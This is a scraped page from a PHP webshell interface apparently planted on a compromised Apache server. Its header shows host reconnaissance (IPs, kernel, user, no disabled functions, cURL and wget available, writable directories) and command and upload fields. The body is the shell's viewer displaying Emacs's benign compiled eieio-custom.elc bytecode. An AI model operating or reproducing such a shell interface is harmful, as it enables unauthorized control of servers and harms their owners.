403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/emacs-lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/emacs-lisp/eieio-custom.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(byte-code "\300\301!\210\300\302!\210\300\303!\210\304\305\306\307!\"\210\304\310\311\307!\"\210\304\312\310\"\210\313\312\314\315#\210\316\307\317\310#\320\307\321\322\323$\207" [require eieio widget wid-edit defalias eieio-widget-test-class-p eieio-make-class-predicate eieio-widget-test-class eieio-widget-test-class--eieio-childp eieio-make-child-predicate eieio-widget-test-class-child-p make-obsolete "use (cl-typep ... \\='eieio-widget-test-class) instead" "25.1" define-symbol-prop cl-deftype-satisfies eieio-defclass-internal nil ((a-string :initarg :a-string :initform "The moose is loose" :custom string :label "Amorphous String" :group (default foo) :documentation "A string for testing custom.\nThis is the next line of documentation.") (listostuff :initarg :listostuff :initform '("1" "2" "3") :type list :custom (repeat (string :tag "Stuff")) :label "List of Strings" :group foo :documentation "A list of stuff.") (uninitialized :initarg :uninitialized :type string :custom string :documentation "This slot is not initialized.\nUsed to make sure that custom doesn't barf when it encounters one\nof these.") (a-number :initarg :a-number :initform 2 :custom integer :documentation "A number of thingies.")) (:documentation "A class for testing the widget on.")] 6)
#@80 Create a new object of class type `eieio-widget-test-class'.

(fn &rest SLOTS)
(defalias 'eieio-widget-test-class #[128 "\300\301\302#\207" [apply make-instance eieio-widget-test-class] 5 (#$ . 1363)])
(byte-code "\300\301\302\303#\300\207" [function-put eieio-widget-test-class compiler-macro eieio-widget-test-class--anon-cmacro] 4)
#@26 

(fn WHOLE &rest SLOTS)
(defalias 'eieio-widget-test-class--anon-cmacro #[385 "\211@;\204\207\300\301\302@@#@\303@DABB\"\207" [macroexp-warn-and-return format "Obsolete name arg %S to constructor %S" identity] 7 (#$ . 1705)])
(byte-code "\300\301\302\303\304DD\305\306\307\310\311&\210\312\313\314\315\310\316%\207" [custom-declare-variable eieio-widget-test funcall function #[0 "\300 \207" [eieio-widget-test-class] 1 ""] "Test variable for editing an object." :type object :group eieio custom-declare-face eieio-custom-slot-tag-face ((((class color) (background dark)) (:foreground "light blue")) (((class color) (background light)) (:foreground "blue")) (t (:italic t))) "Face used for unpushable variable tags." custom-faces] 8)
#@75 Buffer local variable in object customize buffers for the current widget.
(defvar eieio-wo nil (#$ . 2455))
#@72 Buffer local variable in object customize buffers for the current obj.
(defvar eieio-co nil (#$ . 2569))
#@74 Buffer local variable in object customize buffers for the current group.
(defvar eieio-cog nil (#$ . 2680))
#@131 When true, all customizable slots of the current object are updated.
Updates occur regardless of the current customization group.
(defvar eieio-custom-ignore-eieio-co nil (#$ . 2795))
(define-widget 'object-slot 'group "Abstractly modify a single slot in an object." :tag "Slot" :format "%t %v%h\n" :convert-widget 'widget-types-convert-widget :value-create 'eieio-slot-value-create :value-get 'eieio-slot-value-get :value-delete 'widget-children-value-delete :validate 'widget-children-validate :match 'eieio-object-match)
#@42 Create the value of WIDGET.

(fn WIDGET)
(defalias 'eieio-slot-value-create #[257 "\300\301\302\303\"\304\305\306\302\306\"&C\262\307\310#\207" [nil widget-create-child-and-convert widget-get :childtype :tag "" :value widget-put :children] 11 (#$ . 3325)])
#@39 Get the value of WIDGET.

(fn WIDGET)
(defalias 'eieio-slot-value-get #[257 "\300\301\302\"@!\207" [widget-value widget-get :children] 5 (#$ . 3596)])
#@43 Toggle visibility of WIDGET.

(fn WIDGET)
(defalias 'eieio-custom-toggle-hide #[257 "\300\301\"@\300\302\"\303=\203 \304\302\305#\210\304\306\300\307\"#\210\2025\304\302\303#\210\304\307\300\306\"#\210\304\306\310#\210\311\312!\"\207" [widget-get :children :eieio-custom-state hidden widget-put visible :value-face :orig-face invisible widget-value-set widget-value] 8 (#$ . 3754)])
#@114 Toggle visibility of parent of WIDGET.
Optional argument IGNORE is an extraneous parameter.

(fn WIDGET &rest _)
(defalias 'eieio-custom-toggle-parent #[385 "\300\301\302\"!\207" [eieio-custom-toggle-hide widget-get :parent] 6 (#$ . 4157)])
(define-widget 'object-edit 'group "Abstractly modify a CLOS object." :tag "Object" :format "%v" :convert-widget 'widget-types-convert-widget :value-create 'eieio-object-value-create :value-get 'eieio-object-value-get :value-delete 'widget-children-value-delete :validate 'widget-children-validate :match 'eieio-object-match :clone-object-children nil)
#@57 Match info for WIDGET against VALUE.

(fn WIDGET VALUE)
(defalias 'eieio-object-match #[514 "\300\207" [t] 3 (#$ . 4758)])
#@48 Filter WIDGETs SLOTTYPE.

(fn WIDGET SLOTTYPE)
(defalias 'eieio-filter-slot-type #[514 "\300\301\"\203\207\211\302=\203\303\207\211<\203!\211@\302=\203!\303AB\207\211\304\232\203)\305\207\211<\203N\211@\306=\203N\211A@<\203N\211A@@\302=\203N\306\303A@ABD\207\207" [widget-get :clone-object-children object object-edit (repeat object) (repeat object-edit) repeat] 5 (#$ . 4887)])
#@42 Create the value of WIDGET.

(fn WIDGET)
(defalias 'eieio-object-value-create #[257 "\303\304\"\204.\305\304\303\306\"\203\303\306\"\307!\202,\303\310\"\203)\303\310\" \202,\311\312!#\210\313\303\304\"\303\314\"\211\211\315H\262\203Y\211\2119\203S\211\316N\206T\266\202\202[\211\266\203\202[\262\317!	>\204j\320\321\322D\"\210\211\323H\303\324\"\203\206\325\326\327\330\331\332\333!&C\262\203\211\211\315H\262\203\254\211\2119\203\246\211\316N\206\247\266\202\202\256\211\266\203\202\256\262\334\211\317!	>\204\277\320\321\322D\"\210\335H>A\242\266\202\336\337!\210\211\203\336\340!\210\211@=\203\350\336\341\342\343!!\341#\210\202\374\344\345\346@B\347\350\342\343@!!&\210\211A\262\202\313\336\351!\266\211G\315\211W\2036H\352!\317!\n>\204&\320\321\353D\"\210\323H\354\355\"\203-\203?\354\356\"\235\203-\357	\317!\n>\204R\320\321\353D\"\210\360H\"\203-\361\354\355\"\"\313<\203\245\362>\211\262\203\245\363A@\"\313@\362=\204\214@B\262A\262\202x\203\237\364@DB\262A\262\202\214\211\237\262\266\325
\365\366\331\367\327\370\303\371\"\206\270\315\372\"\354\373
\"\206\343\374\211\211\315H\262\203\347\211\2119\203\341\211\316N\206\342\266\202\202\351\211\266\203\202\351\262\"\206\361
!\342\375\376\"\203\315\225\313O\202!\262P\304\377\"\201@\354\201A\"\206\201B\201C\201D&\fB\262\f\266\266\211T\262\202\266\305\201E\237#\207" [eieio-backward-compatibility cl-struct-eieio--class-tags cl-struct-cl-slot-descriptor-tags widget-get :value widget-put :objecttype "Custom-new" :objectcreatefcn error "No create method specified" nil :eieio-group 0 cl--class type-of signal wrong-type-argument eieio--class 4 :eieio-show-name widget-create-child-and-convert string :tag "Object " :sample-face bold eieio-object-name-string :custom-groups 11 widget-insert "Groups:" "  " "*" capitalize symbol-name widget-create push-button :thing :notify #[385 "\300\301\302\"@\301\302\"A\"\207" [eieio-customize-object widget-get :thing] 7 "\n\n(fn WIDGET &rest _)"] "\n\n" eieio-slot-descriptor-name cl-slot-descriptor alist-get :custom :group slot-boundp 1 eieio-filter-slot-type :slotofchoices eieio-oref const object-slot :childtype eieio-custom-slot-tag-face make-string :indent 32 :label eieio--class-slot-initarg string-match "^:" slot-value :doc :documentation "Slot not Documented." :eieio-custom-visibility visible :children] 29 (#$ . 5286)])
#@39 Get the value of WIDGET.

(fn WIDGET)
(defalias 'eieio-object-value-get #[257 "\305\306\"\305\307\"\305\310\"\205\311@\312\"@\305\310\"\203\"A\202#\211\211\313H\262	\203E\211\2119\203?\211\314N\206@\266\202\202G\211\266\203\202G\262\313\315!\n>\204W\316\317\320D\"\210\321HGW\203\337\203\337\211H\315!>\204w\316\317\322D\"\210\211\321H\323\324\"T\262\211\203\332\f\204\231	\203\231	\323\325\"\235\203\332\326\315!>\204\254\316\317\322D\"\210\327H\"\203\332\330\331\315!>\204\310\316\317\322D\"\210\327H\311\n@\312\"@#\210)A\262\266\202Z\203\353\331\332#\210\207" [eieio-cog eieio-backward-compatibility cl-struct-eieio--class-tags cl-struct-cl-slot-descriptor-tags eieio-custom-ignore-eieio-co widget-get :value :children :eieio-show-name widget-apply :value-inline 0 cl--class type-of signal wrong-type-argument eieio--class 4 cl-slot-descriptor alist-get :custom :group slot-boundp 1 t eieio-oset object-name] 18 (#$ . 7801)])
(cl-generic-define-method 'eieio-done-customizing nil '((_obj eieio-default-superclass)) nil #[257 "\300\207" [nil] 2 "When applying change to a widget, call this method.\nThis method is called by the default widget-edit commands.\nUser made commands should also call this method when applying changes.\nArgument OBJ is the object that has been customized.\n\n(fn OBJ)"])
#@123 Customize OBJ in a custom buffer.
Optional argument GROUP is the sub-group of slots to display.

(fn OBJ &optional GROUP)
(defalias 'customize-object #[513 "\300\"\207" [eieio-customize-object] 5 (#$ . 9185)])
#@31 Keymap for EIEIO Custom mode.
(defvar eieio-custom-mode-map (byte-code "\301 \302\"\210\207" [widget-keymap make-sparse-keymap set-keymap-parent] 4) (#$ . 9403))
(defvar eieio-custom-mode-hook nil)
(byte-code "\300\301N\204\f\302\300\301\303#\210\304\305!\204\302\305\306\307#\210\300\207" [eieio-custom-mode-hook variable-documentation put "Hook run after entering EIEIO Custom mode.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" boundp eieio-custom-mode-map definition-name eieio-custom-mode] 4)
(defvar eieio-custom-mode-map (make-sparse-keymap))
(byte-code "\301\302N\204\303\301\302\304\305!#\210\306\307!\204\303\307\310\311#\210\312\313 !\210\307\302N\204-\303\307\302\304\314!#\210\306\300!\204B\303\300\310\311#\210\315\316\300\317\"\210!\210\300\302N\204P\303\300\302\304\320!#\210\303\311\321\317#\207" [eieio-custom-mode-abbrev-table eieio-custom-mode-map variable-documentation put purecopy "Keymap for `eieio-custom-mode'." boundp eieio-custom-mode-syntax-table definition-name eieio-custom-mode (lambda (#1=#:def-tmp-var) (defvar eieio-custom-mode-syntax-table #1#)) make-syntax-table "Syntax table for `eieio-custom-mode'." (lambda (#1#) (defvar eieio-custom-mode-abbrev-table #1#)) define-abbrev-table nil "Abbrev table for `eieio-custom-mode'." derived-mode-parent] 5)
#@175 Major mode for customizing EIEIO objects.
\{eieio-custom-mode-map}

This mode runs the hook `eieio-custom-mode-hook', as the final or
penultimate step during initialization.
(defalias 'eieio-custom-mode #[0 "\306\300!\210\307\310 \210\311\312\313!\210\314\f!\210
)\315\316!\207" [delay-mode-hooks major-mode mode-name eieio-custom-mode-map eieio-custom-mode-syntax-table eieio-custom-mode-abbrev-table make-local-variable t kill-all-local-variables eieio-custom-mode "EIEIO Custom" use-local-map set-syntax-table run-mode-hooks eieio-custom-mode-hook local-abbrev-table] 2 (#$ . 10792) nil])
(byte-code "\300\301\302\303\302\304%\210\300\305\302\306\302\307%\210\300\310\302\311\302\312%\210\313\314\315\316\317\320\321\322\323\324\325\326&\207" [cl-generic-define-method eieio-customize-object nil ((obj eieio-default-superclass) &optional group) #[513 "\211\206\304\305\306\307\310!\311\312!\313\260!!\210\314\315 \210\316 \210\317 \210\320 \321\322@\"\210\321\322A\"\266\323!\210\324\325!\210\324\326\310!\325#\210\327\301!\210\330\331#\324\332!\210\323!\210\333 \210eb\210\334\335!\210\327\302!\210\327\303!\210\211\211\207" [buffer-read-only eieio-wo eieio-co eieio-cog default switch-to-buffer get-buffer-create "*CUSTOMIZE " eieio-object-name " " symbol-name "*" nil kill-all-local-variables eieio-custom-mode erase-buffer overlay-lists mapc delete-overlay eieio-custom-object-apply-reset widget-insert "\n\n" "Edit object " make-local-variable eieio-custom-widget-insert :eieio-group "\n" widget-setup widget-forward 3] 10 "Customize OBJ in a specialized custom buffer.\nTo override call the `eieio-custom-widget-insert' to just insert the\nobject widget.\nOptional argument GROUP specifies a subgroup of slots to edit as a symbol.\nThese groups are specified with the `:group' slot flag.\n\n(fn OBJ &optional GROUP)"] eieio-custom-object-apply-reset ((_obj eieio-default-superclass)) #[257 "\300\301\302\303\304$\210\305\306!\210\300\301\302\307\310$\210\305\306!\210\300\301\302\311\312$\210\305\306!\210\300\301\302\313\314$\207" [widget-create push-button :notify #[128 "\302\303\"\210\304	!\210\305 \207" [eieio-wo eieio-co widget-apply :value-get eieio-done-customizing bury-buffer] 4 "\n\n(fn &rest _)"] "Accept" widget-insert "   " #[128 "\302\303!\210\304\305\"\210\306	!\210\302\307!\207" [eieio-wo eieio-co message "Applying Changes..." widget-apply :value-get eieio-done-customizing "Applying Changes...Done"] 4 "\n\n(fn &rest _)"] "Apply" #[128 "\302\303!\210\304	\"\207" [eieio-co eieio-cog message "Resetting" eieio-customize-object] 4 "\n\n(fn &rest _)"] "Reset" #[128 "\300 \207" [bury-buffer] 2 "\n\n(fn &rest _)"] "Cancel"] 6 "Insert an Apply and Reset button into the object editor.\nArgument OBJ is the object being customized.\n\n(fn OBJ)"] eieio-custom-widget-insert ((obj eieio-default-superclass) &rest flags) #[385 "\300\301\302\303%\207" [apply widget-create object-edit :value] 8 "Insert the widget used for editing object OBJ in the current buffer.\nArguments FLAGS are widget compatible flags.\nMust return the created widget.\n\n(fn OBJ &rest FLAGS)"] define-widget object object-edit "Instance of a CLOS class." :format "%{%t%}:\n%v" :value-to-internal eieio-object-value-to-abstract :value-to-external eieio-object-abstract-to-value :clone-object-children t] 12)
#@84 For WIDGET, convert VALUE to an abstract /safe/ representation.

(fn WIDGET VALUE)
(defalias 'eieio-object-value-to-abstract #[514 "\300!\205\211\207" [eieio-object-p] 4 (#$ . 14134)])
#@86 For WIDGET, convert VALUE from an abstract /safe/ representation.

(fn WIDGET VALUE)
(defalias 'eieio-object-abstract-to-value #[514 "\207" [] 3 (#$ . 14328)])
(cl-generic-define-method 'eieio-customize-object-group nil '((obj eieio-default-superclass)) nil #[257 "\302\303\304\"\211\211\305H\262\203'\211\2119\203!\211\306N\206\"\266\202\202)\211\266\203\202)\262\307\211\310!	>\204:\311\312\313D\"\210\314H>A\242\266\202\"\207" [eieio-backward-compatibility cl-struct-eieio--class-tags mapcar make-closure #[257 "\301\302\303!P\304\300\305DE\306#\207" [V0 vector "Group " symbol-name customize-object quote t] 7 "\n\n(fn GROUP)"] 0 cl--class :custom-groups type-of signal wrong-type-argument eieio--class 11] 10 "Create a list of vectors for customizing sections of OBJ.\n\n(fn OBJ)"])
#@38 History for the custom group reader.
(defvar eieio-read-custom-group-history nil (#$ . 15138))
(byte-code "\300\301\302\303\302\304%\210\305\306!\207" [cl-generic-define-method eieio-read-customization-group nil ((obj eieio-default-superclass)) #[257 "\211\211\211\303H\262\203\"\211\2119\203\211\304N\206\266\202\202$\211\266\203\202$\262\305\211\306!	>\2045\307\310\311D\"\210\312H>A\242\266\202\211G\313U\203G\211@\207\314\315\"\262\316\317\320\321\"\203b\322\323\324\n\"\"\260\202c\325\326P\327\330\327\331&\"A\207" [eieio-backward-compatibility cl-struct-eieio--class-tags obarray 0 cl--class :custom-groups type-of signal wrong-type-argument eieio--class 11 1 mapcar #[257 "\300!B\207" [symbol-name] 3 "\n\n(fn G)"] assoc completing-read slot-exists-p name slot-value intern "name" "" "Custom Group: " nil t eieio-read-custom-group-history] 10 "Do a completing read on the name of a customization group in OBJ.\nReturn the symbol for the group, or nil.\n\n(fn OBJ)"] provide eieio-custom] 6)

Youez - 2016 - github.com/yon3zu
LinuXploit